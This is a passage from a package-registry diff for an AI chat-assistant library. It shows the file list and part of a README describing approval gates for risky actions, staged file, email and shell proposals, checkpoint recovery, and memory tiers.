@buildaharness/aielia 0.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +832 -0
- package/dist/action-approval-service.d.ts +52 -0
- package/dist/action-snapshot.d.ts +173 -0
- package/dist/action-tools.d.ts +38 -0
- package/dist/agent-loop.d.ts +372 -0
- package/dist/answer-claim.d.ts +51 -0
- package/dist/ask-clarification-service.d.ts +70 -0
- package/dist/ask-mode-flag.d.ts +25 -0
- package/dist/ask-response-format.d.ts +8 -0
- package/dist/assistant-session.d.ts +267 -0
- package/dist/assistant-source.d.ts +14 -0
- package/dist/assistant-types.d.ts +158 -0
- package/dist/assistant.d.ts +419 -0
- package/dist/batch-list-detector.d.ts +15 -0
- package/dist/batch-research-fixtures.d.ts +50 -0
- package/dist/benchmark-injected-failure.d.ts +27 -0
- package/dist/claude-cli-llm-client.d.ts +139 -0
- package/dist/claude-cli-prompt.d.ts +86 -0
- package/dist/cli-config.d.ts +27 -0
- package/dist/cli-session-D0uLdT2A.js +7863 -0
- package/dist/cli-session-D0uLdT2A.js.map +1 -0
- package/dist/cli-session.d.ts +63 -0
- package/dist/cli.d.ts +65 -0
- package/dist/cli.js +1693 -0
- package/dist/cli.js.map +1 -0
- package/dist/config.d.ts +175 -0
- package/dist/contradiction-checker.d.ts +27 -0
- package/dist/debug-log.d.ts +16 -0
- package/dist/decomposition-classifier.d.ts +38 -0
- package/dist/doctor-checks.d.ts +8 -0
- package/dist/email-smtp.d.ts +19 -0
- package/dist/email.d.ts +60 -0
- package/dist/error-classifier.d.ts +13 -0
- package/dist/execution-mode.d.ts +85 -0
- package/dist/fact-extraction.d.ts +143 -0
- package/dist/failure-mode-matcher.d.ts +32 -0
- package/dist/file-tools-mcp-server.mjs +1027 -0
- package/dist/file-tools.d.ts +179 -0
- package/dist/first-run.d.ts +22 -0
- package/dist/harness-bridge.d.ts +103 -0
- package/dist/index.d.ts +58 -0
- package/dist/index.js +212 -0
- package/dist/index.js.map +1 -0
- package/dist/ink-test-render.d.ts +24 -0
- package/dist/lexical/patterns/batch-list-markers.json +8 -0
- package/dist/lexical/patterns/batch-list-markers.json.d.ts +11 -0
- package/dist/lexical/patterns/coding-fact-markers.json +8 -0
- package/dist/lexical/patterns/coding-fact-markers.json.d.ts +11 -0
- package/dist/lexical/patterns/enumeration-markers.json +20 -0
- package/dist/lexical/patterns/enumeration-markers.json.d.ts +23 -0
- package/dist/lexical/patterns/fact-markers.json +16 -0
- package/dist/lexical/patterns/fact-markers.json.d.ts +19 -0
- package/dist/lexical/patterns/injection-patterns.json +20 -0
- package/dist/lexical/patterns/injection-patterns.json.d.ts +23 -0
- package/dist/lexical/patterns/plan-mode-markers.json +10 -0
- package/dist/lexical/patterns/plan-mode-markers.json.d.ts +13 -0
- package/dist/lexical/patterns/risk-patterns.json +122 -0
- package/dist/lexical/patterns/risk-patterns.json.d.ts +125 -0
- package/dist/lexical/patterns/task-cancel-markers.json +22 -0
- package/dist/lexical/patterns/task-cancel-markers.json.d.ts +25 -0
- package/dist/lexical/patterns/template-keywords.json +20 -0
- package/dist/lexical/patterns/template-keywords.json.d.ts +23 -0
- package/dist/lexical/patterns/tool-yield-markers.json +22 -0
- package/dist/lexical/patterns/tool-yield-markers.json.d.ts +25 -0
- package/dist/lexical/patterns.d.ts +64 -0
- package/dist/memory-service.d.ts +219 -0
- package/dist/model-pricing.d.ts +19 -0
- package/dist/network-containment.d.ts +21 -0
- package/dist/node-config-store.d.ts +29 -0
- package/dist/node-display-names.d.ts +26 -0
- package/dist/node-fs-backend.d.ts +8 -0
- package/dist/non-interactive-mode.d.ts +22 -0
- package/dist/one-loop-flag.d.ts +38 -0
- package/dist/plan-approval-service.d.ts +62 -0
- package/dist/plan-builder.d.ts +32 -0
- package/dist/plan-drafting-service.d.ts +87 -0
- package/dist/plan-drafting.d.ts +58 -0
- package/dist/plan-mode-flag.d.ts +34 -0
- package/dist/plan-service.d.ts +61 -0
- package/dist/plan-sketch-service.d.ts +24 -0
- package/dist/plan-sketch.d.ts +20 -0
- package/dist/plan-store.d.ts +232 -0
- package/dist/plan-templates/data/content_creation.json.d.ts +75 -0
- package/dist/plan-templates/data/decision_making.json.d.ts +66 -0
- package/dist/plan-templates/data/problem_solving.json.d.ts +75 -0
- package/dist/plan-templates/data/process_improvement.json.d.ts +57 -0
- package/dist/plan-templates/data/project_planning.json.d.ts +66 -0
- package/dist/plan-templates/data/research_analysis.json.d.ts +66 -0
- package/dist/plan-templates/data/trip_planning.json.d.ts +66 -0
- package/dist/plan-templates/index.d.ts +33 -0
- package/dist/plan-verification.d.ts +31 -0
- package/dist/reminder-tools.d.ts +13 -0
- package/dist/response-service.d.ts +73 -0
- package/dist/review-checker.d.ts +22 -0
- package/dist/risk-classifier.d.ts +7 -0
- package/dist/scripted-llm-client.d.ts +37 -0
- package/dist/semantic-criterion-coverage.d.ts +30 -0
- package/dist/shell-executor.d.ts +14 -0
- package/dist/shell-tools.d.ts +84 -0
- package/dist/spend-cap.d.ts +41 -0
- package/dist/spike.d.ts +1 -0
- package/dist/spike.js +18 -0
- package/dist/spike.js.map +1 -0
- package/dist/supervisor-decider.d.ts +3 -0
- package/dist/system-prompt.d.ts +8 -0
- package/dist/task-mapping.d.ts +42 -0
- package/dist/tool-control-plane.d.ts +67 -0
- package/dist/tool-policy.d.ts +45 -0
- package/dist/tool-step.d.ts +23 -0
- package/dist/tool-yield-classifier.d.ts +7 -0
- package/dist/trace-events.d.ts +126 -0
- package/dist/transcript-compaction.d.ts +13 -0
- package/dist/trust-tagging.d.ts +38 -0
- package/dist/tui-app-DxLPSGh2.js +481 -0
- package/dist/tui-app-DxLPSGh2.js.map +1 -0
- package/dist/tui-app.d.ts +125 -0
- package/dist/tui-input.d.ts +51 -0
- package/dist/tui-mode-flag.d.ts +36 -0
- package/dist/tui-output-capture.d.ts +30 -0
- package/dist/tui-spike.d.ts +1 -0
- package/dist/turn-intent-classifier.d.ts +96 -0
- package/dist/turn-interpreter.d.ts +71 -0
- package/dist/turn-policy.d.ts +45 -0
- package/dist/web-fetch-core.d.ts +65 -0
- package/dist/web-search-provider.d.ts +12 -0
- package/dist/web-tools.d.ts +26 -0
- package/package.json +69 -0
package/README.md
ADDED
|
@@ -0,0 +1,832 @@
|
|
|
1
|
+
# @buildaharness/aielia
|
|
2
|
+
|
|
3
|
+
A general-purpose, everyday-use chat assistant that runs on the full 11-layer
|
|
4
|
+
harness (`@buildaharness/harness`) every turn — light enough for "what's the
|
|
5
|
+
weather" and consequential enough to gate "send that email" behind approval.
|
|
6
|
+
|
|
7
|
+
## Design
|
|
8
|
+
|
|
9
|
+
The harness here is a governance and reliability control plane, not just a
|
|
10
|
+
bundle of reasoning layers: the agent (the tool-calling loop in
|
|
11
|
+
`agent-loop.ts`) proposes what to do, and a mix of harness- and
|
|
12
|
+
policy-governed gates decide what's actually allowed to happen — see
|
|
13
|
+
ADR-003 (harness consolidation) for the 5-primitive model this
|
|
14
|
+
assistant's design is one instance of. **As of 2026-09-06 the tool loop
|
|
15
|
+
runs inside the harness by default** (`ASSISTANT_ONE_LOOP`, default
|
|
16
|
+
`enabled` — `plans/harness_d2_one_loop_rewire_plan.html`): `HarnessRuntime`'s
|
|
17
|
+
own `driveMainLoop` calls `AgentLoop`'s tool-calling machinery one iteration
|
|
18
|
+
at a time, and the per-tool-call gate composes the harness's own live
|
|
19
|
+
`ControlState` with the turn-local one accumulated from this turn's prior
|
|
20
|
+
tool outcomes (whichever is more restrictive wins). Setting
|
|
21
|
+
`ASSISTANT_ONE_LOOP=disabled` (or `/config set oneLoopMode disabled`) falls
|
|
22
|
+
back to the pre-rewire path — the tool loop runs to completion first and the
|
|
23
|
+
full `HarnessRuntime` then runs once per turn as bookkeeping over the
|
|
24
|
+
finished reply — kept for one rollout window as an escape hatch before the
|
|
25
|
+
flag is removed (ADR-003 finding F-6).
|
|
26
|
+
|
|
27
|
+
Where a heavy autonomous agent decomposes an objective into a multi-task plan,
|
|
28
|
+
this assistant treats every chat message as **one objective, one task**. That
|
|
29
|
+
keeps `HarnessRuntime.run()` cheap per turn (no LLM calls inside the harness
|
|
30
|
+
loop itself — it's synchronous state-machine bookkeeping) while still walking
|
|
31
|
+
every layer: World Model, Evidence, Hypothesis, Control State, Planning
|
|
32
|
+
(trivial one-task graph), Execution, Verification, Recovery path, Memory
|
|
33
|
+
(context compression), Learning (`ExperienceStore`), and the Reviewer Pass +
|
|
34
|
+
output validation at the end.
|
|
35
|
+
|
|
36
|
+
Three things live *outside* a single harness run, deliberately:
|
|
37
|
+
|
|
38
|
+
- **Conversation history** — each turn's `WorldModel`/`TaskGraph`/etc. are
|
|
39
|
+
scratch state for that turn only, the same way they are for any harness run.
|
|
40
|
+
The transcript is kept in a `MemoryAdapter` (in-memory by default; swap in
|
|
41
|
+
`IndexedDBAdapter` from `@buildaharness/runtime` for browser persistence) and
|
|
42
|
+
fed to the LLM call directly. Alongside every message appended to
|
|
43
|
+
`transcript:<sessionId>`, `PersonalAssistant` also writes a parallel,
|
|
44
|
+
individually-addressable `transcript-msg:<sessionId>:<n>` entry (an
|
|
45
|
+
`IndexedMessage` — see `assistant.ts`) so a search can resolve a hit to the
|
|
46
|
+
one exchange that matched instead of the whole session array. This index is
|
|
47
|
+
derived, not authoritative: `transcript:<sessionId>` remains the one source
|
|
48
|
+
of truth for replay/compaction/export, and index entries are never deleted
|
|
49
|
+
by `transcript-compaction.ts`, so a search can still find something that's
|
|
50
|
+
since aged out of the live (compacted) transcript window. On first
|
|
51
|
+
construction, `PersonalAssistant` also runs a one-off, idempotent
|
|
52
|
+
`backfillMessageIndex()` in the background (not awaited, so it never delays
|
|
53
|
+
the first turn) to index any transcript history that predates this feature.
|
|
54
|
+
`FileSystemAdapter.search()`, `IndexedDBAdapter.search()`, and
|
|
55
|
+
`InMemoryAdapter.search()` all funnel through the same tokenized, graduated
|
|
56
|
+
relevance scorer (`scoring.ts`'s `scoreEntries()`) and are a linear scan over
|
|
57
|
+
every stored entry, not an inverted index — fine at the message volumes a
|
|
58
|
+
single personal-use install accumulates over weeks/months, but expect it to
|
|
59
|
+
get noticeably slower after tens of thousands of messages. The `/search`
|
|
60
|
+
command (see the command table below) is the user-facing entry point:
|
|
61
|
+
`PersonalAssistant.searchTranscript()` scores every stored entry, keeps only
|
|
62
|
+
`transcript-msg:` hits, and returns them ranked, so a real match is never
|
|
63
|
+
pushed out by an unrelated non-transcript entry scoring higher.
|
|
64
|
+
- **Risk classification** — `risk-classifier.ts` is a cheap keyword heuristic
|
|
65
|
+
that flags consequential requests (send/delete/pay/post/...) *before* the
|
|
66
|
+
harness — and before the one real network call — ever runs. A `HIGH` risk
|
|
67
|
+
turn returns `status: 'needs_approval'` with zero LLM calls spent; call
|
|
68
|
+
`turn(message, { approved: true })` to proceed after the caller confirms.
|
|
69
|
+
A separate, LLM-backed `classifyTurnIntent` call (`turn-intent-classifier.ts`)
|
|
70
|
+
produces non-consequential *hints* — decomposition, plan-template match,
|
|
71
|
+
triviality — plus `requiresApproval`/`isAbandonRequest` guesses; those two
|
|
72
|
+
guesses are never trusted directly. `turn-policy.ts`'s
|
|
73
|
+
`evaluateTurnPolicy()`/`evaluateAbandonPolicy()` always recompute the actual
|
|
74
|
+
approval requirement and abandon decision from structural signals
|
|
75
|
+
(`riskLevel`, `isBulkReminderRequest`, `hasActivePlan`) — the classifier's
|
|
76
|
+
hint is one input, never the decision (INV-14). A classifier error or
|
|
77
|
+
unparseable response yields `riskLevel: 'UNKNOWN'`, which the policy always
|
|
78
|
+
routes to `requiresApproval: true`, never a silent low-risk default.
|
|
79
|
+
- **Learning across turns** — `ExperienceStore` (strategy weights, learned
|
|
80
|
+
decompositions, recovery sequences) is in-memory by default; swap in
|
|
81
|
+
`DexieExperienceStore` from `@buildaharness/runtime` so it survives a page
|
|
82
|
+
reload.
|
|
83
|
+
|
|
84
|
+
### Checkpointing and resume
|
|
85
|
+
|
|
86
|
+
`HarnessRuntime.run()`/`.resume()` are async and can suspend mid-loop, yielding
|
|
87
|
+
a serializable `HarnessCheckpoint` after each iteration that makes task
|
|
88
|
+
progress. `PersonalAssistant` uses this to survive a crash or reload *during*
|
|
89
|
+
a turn, not just between them: every turn writes its checkpoint to a
|
|
90
|
+
`checkpointStore` (in-memory by default; swap in `IndexedDBAdapter` for
|
|
91
|
+
persistence) keyed by `turn:<sessionId>`, and deletes it once the turn
|
|
92
|
+
finishes (normally or via escalation). If `turn()` is called again for a
|
|
93
|
+
session that still has a leftover checkpoint — because the previous call never
|
|
94
|
+
reached that cleanup — it resumes the interrupted harness run instead of
|
|
95
|
+
silently starting over.
|
|
96
|
+
|
|
97
|
+
Net effect: one real LLM call per ordinary turn, zero for a blocked one, and
|
|
98
|
+
every layer of the harness touched on the ones that do run — matching what
|
|
99
|
+
[buildaharness.com/harness-comparison](https://buildaharness.com/harness-comparison)
|
|
100
|
+
calls out as missing from Hermes Agent, Kilo Code, and OpenClaw: none of them
|
|
101
|
+
ships a formal Control State resolver *and* a Reviewer/output gate together.
|
|
102
|
+
<!--
|
|
103
|
+
Last verified against the live page 2026-07-14: it still shows all three as
|
|
104
|
+
"○ Not described" for a tiered Control State resolver, and states "0/3 ship
|
|
105
|
+
a formal output/reviewer-pass quality gate before a reply goes out." That
|
|
106
|
+
page is external to this repo (not vendored here), edited independently of
|
|
107
|
+
this package, and its specific figures (CVE/CVSS numbers, malicious-skill
|
|
108
|
+
counts, etc. elsewhere on the page) have already changed at least once —
|
|
109
|
+
re-check this exact claim by hand whenever the comparison page is next
|
|
110
|
+
revised, since nothing in this repo will catch it drifting silently.
|
|
111
|
+
-->
|
|
112
|
+
|
|
113
|
+
#### Recovering a stuck checkpoint
|
|
114
|
+
|
|
115
|
+
Resuming a leftover checkpoint can itself fail — most often because whatever
|
|
116
|
+
crashed the process partway through a turn crashes again identically on
|
|
117
|
+
replay. `PersonalAssistant` tracks failed resume attempts per session
|
|
118
|
+
(persisted, so it survives the crash too) and, after 2 in a row for the same
|
|
119
|
+
checkpoint, discards it automatically and starts that turn fresh instead of
|
|
120
|
+
retrying forever — a `checkpoint_discarded` trace event marks when this
|
|
121
|
+
happens. `clearCheckpoint(sessionId)` / `getCheckpointStatus(sessionId)` give
|
|
122
|
+
a caller (the CLI's `/checkpoint` / `/checkpoint clear`, see "REPL commands"
|
|
123
|
+
below) an explicit, scoped way to inspect or discard a checkpoint by hand
|
|
124
|
+
without waiting for that automatic cap, and without the collateral damage of
|
|
125
|
+
`clearSession()` (`/clear`/`/new`), which also wipes the session's transcript,
|
|
126
|
+
facts, and plan — previously the only in-product recovery option, short of
|
|
127
|
+
moving `checkpointStore`'s whole backing directory aside by hand.
|
|
128
|
+
|
|
129
|
+
### Memory tiers
|
|
130
|
+
|
|
131
|
+
`fact-extraction.ts`'s `MemoryTier` type (`'episodic' | 'semantic' |
|
|
132
|
+
'procedural' | 'preference' | 'commitment' | 'identity'`) is a real,
|
|
133
|
+
structurally-enforced classification — not just a naming convention — layered
|
|
134
|
+
on top of the stores that already exist (Phase E of the harness consolidation
|
|
135
|
+
plan, `criticism001` #8 / `criticism002` #6: "transcript ≠ memory"). Every
|
|
136
|
+
`UserFact` a turn captures gets routed to exactly one tier by `tierForFact()`,
|
|
137
|
+
and `TIER_RULES` fixes each tier's allowed provenance, retention, and whether
|
|
138
|
+
contradiction detection considers it:
|
|
139
|
+
|
|
140
|
+
| Tier | Answers | Allowed `FactSource` | Retention | Contradiction-checked | Where it lives |
|
|
141
|
+
|---|---|---|---|---|---|
|
|
142
|
+
| **Episodic** | "What was said or mused, unconfirmed?" | any | session | no | `facts:<sessionId>` — also every `model_inferred`/`observed` `UserFact` lands here regardless of its `durable` bit; an unconfirmed model guess is never Knowledge |
|
|
143
|
+
| **Semantic** | "What's currently stated as true?" | `user_asserted`, `externally_verified` | durable (by tier policy) | yes | `facts:<sessionId>` or `facts:durable`, depending on the existing promotion policy (`durable` bit) — the tier a fact belongs to and whether it's actually promoted are tracked separately today |
|
|
144
|
+
| **Identity** | "Who is this?" (name, "call me X") | `user_asserted` | durable | yes | `facts:durable` |
|
|
145
|
+
| **Preference** | "What does the user want?" (stated preference) | `user_asserted` | durable | yes | `facts:durable`; a *configured* preference (backend, model, `enableShell`) is separately `AssistantConfig` (`config.ts`), not a `UserFact` at all |
|
|
146
|
+
| **Procedural** | "What worked before?" | none — no `UserFact` is ever tagged `procedural` | durable | no | `ExperienceStore` / `DexieExperienceStore` — strategy weights, learned decompositions, recovery sequences |
|
|
147
|
+
| **Commitment** | "What's pending?" | none — no `UserFact` is ever tagged `commitment` | durable | no | `reminderStore` |
|
|
148
|
+
|
|
149
|
+
`procedural` and `commitment` having an empty `allowedSources` is
|
|
150
|
+
structural, not just documented: no `UserFact` — and therefore nothing a
|
|
151
|
+
model or the user merely *said* — can ever populate the Experience or
|
|
152
|
+
Commitment stores through `tierForFact()`. That's the enforced half of
|
|
153
|
+
**INV-16** ("no Experience-tier entry is readable as a Knowledge belief");
|
|
154
|
+
the other half is that `isKnowledgeTier()` only returns true for `semantic`,
|
|
155
|
+
`identity`, and `preference` — episodic entries, procedural weights, and
|
|
156
|
+
commitments never enter contradiction detection as if they were beliefs.
|
|
157
|
+
|
|
158
|
+
The conversation transcript itself (`transcript:<sessionId>`, "what was
|
|
159
|
+
said" verbatim) and a single turn's `AnswerClaim` (evidence vs. claim for one
|
|
160
|
+
reply, see below) sit outside this tier system — they're the raw material a
|
|
161
|
+
tier's `UserFact`s get extracted *from*, not memory tiers themselves.
|
|
162
|
+
|
|
163
|
+
`fact-extraction.ts`'s `TIER_RULES`/`tierForFact()`/`isKnowledgeTier()` are
|
|
164
|
+
the canonical reference — update the doc comments there rather than
|
|
165
|
+
re-deriving the mapping if it changes.
|
|
166
|
+
|
|
167
|
+
## Usage
|
|
168
|
+
|
|
169
|
+
```ts
|
|
170
|
+
import { LLMClient } from '@buildaharness/runtime'
|
|
171
|
+
import { PersonalAssistant } from '@buildaharness/aielia'
|
|
172
|
+
|
|
173
|
+
const assistant = new PersonalAssistant({
|
|
174
|
+
llmClient: new LLMClient({ proxyUrl, authToken }),
|
|
175
|
+
})
|
|
176
|
+
|
|
177
|
+
const result = await assistant.turn('What time zone is Tokyo in?')
|
|
178
|
+
// { status: 'ok', reply: '...', riskLevel: 'LOW', controlState: {...}, stepsUsed: 1 }
|
|
179
|
+
|
|
180
|
+
const gated = await assistant.turn('Send an email to my boss saying I quit.')
|
|
181
|
+
// { status: 'needs_approval', reason: '...', riskLevel: 'HIGH' } — no LLM call made
|
|
182
|
+
|
|
183
|
+
await assistant.turn('Send an email to my boss saying I quit.', { approved: true })
|
|
184
|
+
// proceeds and runs the harness normally
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
In a browser, use `PersonalAssistant.create()` instead of `new PersonalAssistant()`
|
|
188
|
+
to default transcript, learning, and checkpoint storage to their IndexedDB/Dexie-backed
|
|
189
|
+
implementations, so all three survive a page reload:
|
|
190
|
+
|
|
191
|
+
```ts
|
|
192
|
+
const assistant = await PersonalAssistant.create({
|
|
193
|
+
llmClient: new LLMClient({ proxyUrl, authToken }),
|
|
194
|
+
})
|
|
195
|
+
```
|
|
196
|
+
|
|
197
|
+
`create()` only supplies a default for storage the caller didn't already pass
|
|
198
|
+
in — outside a browser it falls back to the same in-memory defaults as the
|
|
199
|
+
plain constructor *unless* the caller passes its own `memory`/`experienceStore`/
|
|
200
|
+
`checkpointStore`, which is exactly what the CLI and the Tauri desktop app do
|
|
201
|
+
(see "Front ends" below) to get real persistence without either of them
|
|
202
|
+
needing a browser.
|
|
203
|
+
|
|
204
|
+
## Front ends
|
|
205
|
+
|
|
206
|
+
Three front ends share this one package and harness underneath — none is more
|
|
207
|
+
"real" than the others, and each picks the storage backend that fits where it
|
|
208
|
+
runs:
|
|
209
|
+
|
|
210
|
+
| Front end | Where | Storage |
|
|
211
|
+
|---|---|---|
|
|
212
|
+
| This package's `PersonalAssistant` class | Any Node/browser code | In-memory by default; bring your own `MemoryAdapter`/`ExperienceStore` |
|
|
213
|
+
| CLI (`cli.ts`, below) | Terminal | `FileSystemAdapter`/`FileSystemExperienceStore` (`@buildaharness/runtime`) over `node:fs/promises`, under `~/.buildaharness/personal-assistant/` |
|
|
214
|
+
| `@buildaharness/chat-ui` | Browser | `IndexedDBAdapter`/`DexieExperienceStore` via `PersonalAssistant.create()` (best-effort — see `packages/runtime/README.md`'s persistence section) |
|
|
215
|
+
| `@buildaharness/desktop` | Native window (Tauri, wraps chat-ui) | Same `FileSystemAdapter`/`FileSystemExperienceStore` classes as the CLI, but over `@tauri-apps/plugin-fs` instead of `node:fs`, under `appLocalDataDir()` |
|
|
216
|
+
|
|
217
|
+
Both filesystem backends are the *same* `FileSystemAdapter`/`FileSystemExperienceStore`
|
|
218
|
+
classes — see `packages/runtime/README.md`'s "Filesystem-backed storage"
|
|
219
|
+
section for how the file-I/O seam that makes that possible works.
|
|
220
|
+
|
|
221
|
+
The REPL commands below (`/clear`, `/export`, `/undo`, `/memory`, `/cost`,
|
|
222
|
+
`/doctor`) have GUI equivalents in chat-ui/desktop too — a header button for
|
|
223
|
+
each action, and a Settings > Diagnostics section for the read-only ones —
|
|
224
|
+
reusing this package's `formatMemorySummary`/`formatCostSummary`/`formatDoctorReport`/
|
|
225
|
+
`formatTranscriptMarkdown`/`estimateCostUsd` exports so both front ends render
|
|
226
|
+
identical data, never two descriptions of the same facts. See
|
|
227
|
+
`packages/chat-ui/README.md`'s "Session actions & Diagnostics" section.
|
|
228
|
+
|
|
229
|
+
## File access via tools
|
|
230
|
+
|
|
231
|
+
`PersonalAssistant` can give the model real `read_file`/`list_directory`/`write_file`
|
|
232
|
+
tools, scoped to a single sandboxed workspace directory, by passing a `fileTools`
|
|
233
|
+
option:
|
|
234
|
+
|
|
235
|
+
```ts
|
|
236
|
+
const assistant = new PersonalAssistant({
|
|
237
|
+
llmClient,
|
|
238
|
+
fileTools: { backend, workspaceRoot: '/path/to/workspace' }, // any FsBackend — node:fs/promises, @tauri-apps/plugin-fs, etc.
|
|
239
|
+
})
|
|
240
|
+
```
|
|
241
|
+
|
|
242
|
+
Absent by default — without it, `turn()` behaves exactly as before this option
|
|
243
|
+
existed (a single plain chat call, no tools).
|
|
244
|
+
|
|
245
|
+
Every path a tool call requests is resolved and validated against `workspaceRoot`
|
|
246
|
+
before any I/O: `../` traversal, an absolute path outside the root, and a symlink
|
|
247
|
+
*inside* the root that points outside it are all rejected (see `file-tools.ts`'s
|
|
248
|
+
`resolveInWorkspace`/`assertRealPathInWorkspace`). A rejected or errored tool call
|
|
249
|
+
is reported back to the model as a clear decline, never a silent no-op dressed up
|
|
250
|
+
as success.
|
|
251
|
+
|
|
252
|
+
**`write_file` never executes inline.** It always stages a proposal — `{ kind:
|
|
253
|
+
'write', path, content, stagedAt }` — as JSON under
|
|
254
|
+
`<workspaceRoot>/.pending-actions/<id>.json`, and the turn returns
|
|
255
|
+
`status: 'needs_approval'` with a `pendingActionId` (and `pendingActionKind:
|
|
256
|
+
'write'`), the same shape `needs_approval` already has for a HIGH-risk message,
|
|
257
|
+
just triggered by the tool call itself rather than a regex over the user's
|
|
258
|
+
words (a request like "organize my notes into a summary file" doesn't trip the
|
|
259
|
+
message-level risk gate, yet it performs a real write once the model decides to
|
|
260
|
+
call `write_file`). Resume it by ID rather than re-asking the model:
|
|
261
|
+
|
|
262
|
+
```ts
|
|
263
|
+
const staged = await assistant.turn('Summarize this into notes.md')
|
|
264
|
+
// { status: 'needs_approval', reason: '...', pendingActionId: '...', pendingActionKind: 'write' }
|
|
265
|
+
|
|
266
|
+
await assistant.turn('Summarize this into notes.md', { approved: true, pendingActionId: staged.pendingActionId })
|
|
267
|
+
// applies the exact staged content directly via FsBackend — no second LLM call
|
|
268
|
+
// { status: 'ok', reply: 'Wrote "notes.md".' }
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
Declining (`{ approved: false, pendingActionId }`) discards the staged record
|
|
272
|
+
without writing. A pending action left over from a crashed/abandoned turn sits
|
|
273
|
+
in `.pending-actions/` indefinitely — harmless (never applied without an explicit
|
|
274
|
+
`approved: true` with the matching ID) but not currently auto-swept. This same
|
|
275
|
+
staging record shape (a `kind` discriminator) is shared with `run_shell_command`
|
|
276
|
+
(see "Shell access via tools" below) and `send_email`.
|
|
277
|
+
|
|
278
|
+
### `send_email` — a real "effect" tool behind the gate
|
|
279
|
+
|
|
280
|
+
The flagship demo ("send an email to my boss saying I quit") only means
|
|
281
|
+
something if there's an actual send behind the approval. Pass `actionTools` with
|
|
282
|
+
a delivery transport and the model gets a `send_email` tool staged exactly like
|
|
283
|
+
`write_file` — it can only ever *propose* a recipient/subject/body; the message
|
|
284
|
+
is delivered only after `{ approved: true, pendingActionId }`, through the
|
|
285
|
+
injected transport, never by the model.
|
|
286
|
+
|
|
287
|
+
```ts
|
|
288
|
+
import { PersonalAssistant, createResendSender } from '@buildaharness/aielia'
|
|
289
|
+
// or: import { createSmtpSender } from '@buildaharness/aielia'
|
|
290
|
+
|
|
291
|
+
const assistant = new PersonalAssistant({
|
|
292
|
+
llmClient,
|
|
293
|
+
actionTools: {
|
|
294
|
+
backend, workspaceRoot,
|
|
295
|
+
sendEmail: createResendSender({ apiKey: process.env.RESEND_API_KEY!, from: 'me@example.com' }),
|
|
296
|
+
},
|
|
297
|
+
})
|
|
298
|
+
|
|
299
|
+
const staged = await assistant.turn('Email my boss that I quit.')
|
|
300
|
+
// { status: 'needs_approval', pendingActionKind: 'email', reason: 'To: … / Subject: … / …' }
|
|
301
|
+
await assistant.turn('Email my boss that I quit.', { approved: true, pendingActionId: staged.pendingActionId })
|
|
302
|
+
// delivers the exact staged message; { status: 'ok', reply: 'Sent the email to …' }
|
|
303
|
+
```
|
|
304
|
+
|
|
305
|
+
In the CLI, set `enableEmail` + `emailProvider` (`resend` or `smtp`) + `emailFrom`
|
|
306
|
+
and the provider credentials via `/config` or `ASSISTANT_EMAIL_*` /
|
|
307
|
+
`ASSISTANT_SMTP_*` env vars. Without a transport configured, no `send_email` tool
|
|
308
|
+
exists — the model can't propose what it can't be given.
|
|
309
|
+
|
|
310
|
+
Both backends enforce the same "never write inline" rule, by different
|
|
311
|
+
mechanisms:
|
|
312
|
+
|
|
313
|
+
- **Proxy/Anthropic backend** (`LLMClient`): `PersonalAssistant`'s tool loop
|
|
314
|
+
(capped at 5 iterations) calls `callChatStructured` directly, executes
|
|
315
|
+
non-mutating tool calls for real, and intercepts `write_file` itself before
|
|
316
|
+
it ever reaches `file-tools.ts`'s staging code.
|
|
317
|
+
- **Claude CLI backend** (`ClaudeCliLLMClient`): Claude Code's own agentic loop
|
|
318
|
+
calls a `file-tools` MCP server (`file-tools-mcp-server.mjs`) autonomously
|
|
319
|
+
within a single `claude -p` invocation — there's no outer TS loop to
|
|
320
|
+
intercept each call, so the gate lives inside the MCP server's `write_file`
|
|
321
|
+
handler instead, which stages exactly the same `.pending-actions/<id>.json`
|
|
322
|
+
record. `ClaudeCliLLMClient` still always passes `--tools ""` (Claude Code's
|
|
323
|
+
own built-in Read/Write/Bash stay off) and adds `--mcp-config`,
|
|
324
|
+
`--strict-mcp-config` (ignore any ambient project `.mcp.json`), and
|
|
325
|
+
`--dangerously-skip-permissions` (headless `-p` mode has no way to answer an
|
|
326
|
+
interactive tool-permission prompt) only when `fileTools` or `shellTools` is
|
|
327
|
+
configured.
|
|
328
|
+
|
|
329
|
+
v1 is deliberately read/list/write only — no delete/move tool (higher
|
|
330
|
+
consequence than a write, no "undo" via re-approval). One workspace root per
|
|
331
|
+
assistant instance; no multi-root or per-request override. chat-ui doesn't have
|
|
332
|
+
a write-approval UI yet — file tools are CLI/desktop-only for now.
|
|
333
|
+
|
|
334
|
+
## Clarifying questions
|
|
335
|
+
|
|
336
|
+
Beyond the write/shell/email approval gate above, `turn()` can also pause to ask the user a
|
|
337
|
+
*structured, multi-option* clarifying question instead of guessing or halting with a bare error —
|
|
338
|
+
"which deploy target?" with concrete choices, not a free-text `missing_info` escalation. This is
|
|
339
|
+
off by default; see "Enabling it" below.
|
|
340
|
+
|
|
341
|
+
When the harness raises an escalation whose `SurfaceBlocker` carries a populated `questions` batch
|
|
342
|
+
(1–4 questions, each with 2–4 options plus an automatic free-text "Other"), and the effective ask
|
|
343
|
+
mode (see below) is enabled, `turn()` returns `status: 'needs_clarification'` with a
|
|
344
|
+
`pendingClarificationId` and the `questions` array, instead of the terminal `status: 'escalated'`,
|
|
345
|
+
`reply: null` shape that same blocker would otherwise produce:
|
|
346
|
+
|
|
347
|
+
```ts
|
|
348
|
+
const staged = await assistant.turn('Deploy the app.')
|
|
349
|
+
// { status: 'needs_clarification', pendingClarificationId: '...',
|
|
350
|
+
// questions: [{ id: '...', question: 'Which deploy target?', options: [...] }] }
|
|
351
|
+
|
|
352
|
+
await assistant.turn('Deploy the app.', {
|
|
353
|
+
pendingClarificationId: staged.pendingClarificationId,
|
|
354
|
+
clarificationAnswer: { answers: [{ questionId: '...', kind: 'selected', selectedLabels: ['staging'] }] },
|
|
355
|
+
})
|
|
356
|
+
// resumes the exact same harness run from its checkpoint with the answer folded in — no
|
|
357
|
+
// re-derivation, no second "what did you mean" LLM call
|
|
358
|
+
// { status: 'ok', reply: 'Deployed to staging.' }
|
|
359
|
+
```
|
|
360
|
+
|
|
361
|
+
Like `pendingActionId`, this is checkpoint-and-resume under the hood, not a literal blocking call:
|
|
362
|
+
the harness run is checkpointed at the escalation point (reusing the same crash-mid-turn machinery
|
|
363
|
+
